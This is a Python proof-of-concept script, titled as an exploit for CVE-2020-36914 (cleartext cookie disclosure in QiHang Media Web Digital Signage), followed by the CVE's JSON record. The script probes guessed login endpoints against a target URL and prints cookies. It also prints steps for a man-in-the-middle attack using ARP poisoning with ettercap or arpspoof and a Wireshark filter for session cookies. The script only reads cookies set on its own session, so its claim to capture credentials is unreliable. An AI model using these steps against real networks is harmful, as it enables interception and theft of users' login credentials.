CVE-2020-36914

import requests import argparse from bs4 import BeautifulSoup def exploit_cve_2020_36914(target_url): """ CVE-2020-36914 PoC - QiHang Media Web Cookie Authentication Credentials Disclosure This PoC demonstrates the information disclosure vulnerability by capturing authentication cookies transmitted in cleartext. """ print(f"[*] Targeting: {target_url}") # Step 1: Attempt to capture cleartext cookie session = requests.Session() # Login endpoint typically at /login or /admin/login login_endpoints = ['/login', '/admin/login', '/', '/index'] for endpoint in login_endpoints: try: response = session.get(target_url + endpoint, timeout=10) # Check for cookie in response if session.cookies: print(f"[+] Found cookies at {endpoint}:") for cookie in session.cookies: print(f" - {cookie.name}: {cookie.value}") # Check if cookie contains authentication data if 'PHPSESSID' in session.cookies or 'auth' in str(session.cookies).lower(): print("[!] Authentication cookie detected in cleartext!") except requests.exceptions.RequestException as e: print(f"[-] Error accessing {endpoint}: {e}") # Step 2: Test for cleartext transmission # Note: In real attack, use Wireshark/tcpdump to capture HTTP traffic print("\n[*] To capture cleartext cookies, perform MITM attack:") print(" 1. Use ettercap or arpspoof for ARP poisoning") print(" 2. Capture HTTP traffic with Wireshark") print(" 3. Filter: http.cookie contains 'auth' or 'session'") return session.cookies if __name__ == "__main__": parser = argparse.ArgumentParser(description='CVE-2020-36914 PoC') parser.add_argument('-t', '--target', required=True, help='Target URL') args = parser.parse_args() exploit_cve_2020_36914(args.target)

{"cve": {"id": "CVE-2020-36914", "sourceIdentifier": "[email protected]", "published": "2026-01-06T16:15:47.377", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "QiHang Media Web Digital Signage 3.0.9 contains a sensitive information disclosure vulnerability that allows remote attackers to intercept user authentication credentials through cleartext cookie transmission. Attackers can perform man-in-the-middle attacks to capture and potentially misuse stored authentication credentials transmitted in an insecure manner."}, {"lang": "es", "value": "QiHang Media Web Digital Signage 3.0.9 contiene una sensible vulnerabilidad de revelación de información que permite a atacantes remotos interceptar credenciales de autenticación de usuario a través de la transmisión de cookie en texto claro. Los atacantes pueden realizar ataques man-in-the-middle para capturar y potencialmente hacer un uso indebido de las credenciales de autenticación almacenadas transmitidas de manera insegura."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-319"}]}], "references": [{"url": "https://cxsecurity.com/issue/WLB-2020080059", "source": "[email protected]"}, {"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/186770", "source": "[email protected]"}, {"url": "https://packetstormsecurity.com/files/158858", "source": "[email protected]"}, {"url": "https://www.howfor.com/", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/qihang-media-web-digital-signage-cookie-authentication-credentials-disclosure", "source": "[email protected]"}, {"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5578.php", "source": "[email protected]"}]}}